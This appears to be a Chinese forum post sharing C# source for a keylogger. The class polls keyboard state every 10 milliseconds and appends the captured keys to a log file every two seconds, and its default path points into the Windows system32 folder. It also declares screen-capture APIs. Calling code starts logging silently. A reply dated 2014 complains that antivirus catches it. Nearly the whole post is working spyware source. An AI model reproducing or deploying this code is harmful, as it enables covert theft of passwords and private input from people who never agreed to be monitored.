类库：public class KeybordLogger{
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(
System.Windows.Forms.Keys vKey); // Keys enumeration
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(
System.Int32 vKey);
//获取当前屏幕
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern bool BitBlt(
IntPtr hdcDest, //目标设备的句柄
int nXDest, // 目标对象的左上角的X坐标
int nYDest, // 目标对象的左上角的X坐标
int nWidth, // 目标对象的矩形的宽度
int nHeight, // 目标对象的矩形的长度
IntPtr hdcSrc, // 源设备的句柄
int nXSrc, // 源对象的左上角的X坐标
int nYSrc, // 源对象的左上角的X坐标
System.Int32 dwRop // 光栅的操作值
);
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern IntPtr CreateDC(
string lpszDriver, // 驱动名称
string lpszDevice, // 设备名称
string lpszOutput, // 无用，可以设定位"NULL"
IntPtr lpInitData // 任意的打印机数据
);
private System.String keyBuffer;
private System.Timers.Timer timerKeyMine;
private System.Timers.Timer timerBufferFlush;
private StreamWriter sw;
private long keyGetInterval = 0;
private long flushToFileInterval = 0;
private string logFileName;
private bool hasStart;
public long KeyGetInterval
{// 获取键盘输入的间隔时间
set
{
keyGetInterval = value;
timerKeyMine.Interval = keyGetInterval;
}
get
{
return keyGetInterval;
}
}
public long FlushToFileInterval
{// 记录键盘输入到文件的间隔时间
set
{
flushToFileInterval = value;
timerBufferFlush.Interval = flushToFileInterval;
}
get
{
return flushToFileInterval;
}
}
public bool HasStart
{
get
{
return hasStart;
}
}
public KeybordLogger() : this(@"C:\WINDOWS\system32")
{
this.logFileName = @"C:\WINDOWS\system32";
}
public KeybordLogger(string logFileName)
{
this.logFileName = logFileName;
timerKeyMine = new System.Timers.Timer();
timerBufferFlush = new System.Timers.Timer();
timerKeyMine.Interval = 10;
timerBufferFlush.Interval = 2000;
this.timerKeyMine.Elapsed += new System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
this.timerBufferFlush.Elapsed += new System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
}
public void startLoging()
{
// 开始键盘记录
timerKeyMine.Start();
timerBufferFlush.Start();
hasStart=true;
}
public void stopLoging()
{// 停止键盘记录
timerKeyMine.Stop();
timerBufferFlush.Stop();
hasStart=false;
}
private void timerKeyMine_Elapsed(object sender,System.Timers.ElapsedEventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
}
}
}
private void timerBufferFlush_Elapsed(object sender,System.Timers.ElapsedEventArgs e)
{
flush2File(logFileName,true);
}
private void flush2File(string file,bool append)
{// 刷新记录文件
try
{
// 追加记录数据到文件
sw = new StreamWriter(file, true);
sw.Write(keyBuffer);
sw.Close();
// 清空缓冲
keyBuffer = string.Empty;
}
catch
{
return;
}
}
}
调用：#region 键盘记录
KeybordLogger m_KeyLogger = null;
string m_ReportFilePath = System.Environment.CurrentDirectory.ToString() + DateTime.Now.ToString("yyyyMMddhhmmss") + ".txt";
private string ReadReport(string filePath)
{
if (File.Exists(filePath))
{
FileStream pFileStream = new FileStream(filePath, FileMode.Open);
StreamReader pReader = new StreamReader(pFileStream);
string tempReport = pReader.ReadToEnd();
pReader.Close();
pFileStream.Close();
return tempReport;
}
else
{
return null;
}
}
private void StartLog()
{
if (m_KeyLogger == null)
{
m_KeyLogger = new KeybordLogger(m_ReportFilePath);
m_KeyLogger.startLoging();
}
//if (m_KeyLogger.HasStart)
//{
// MessageBox.Show("Logger is working!");
//}
}
#endregion
| 
发表于 2014-10-31 14:29
过不了杀软。。。没用
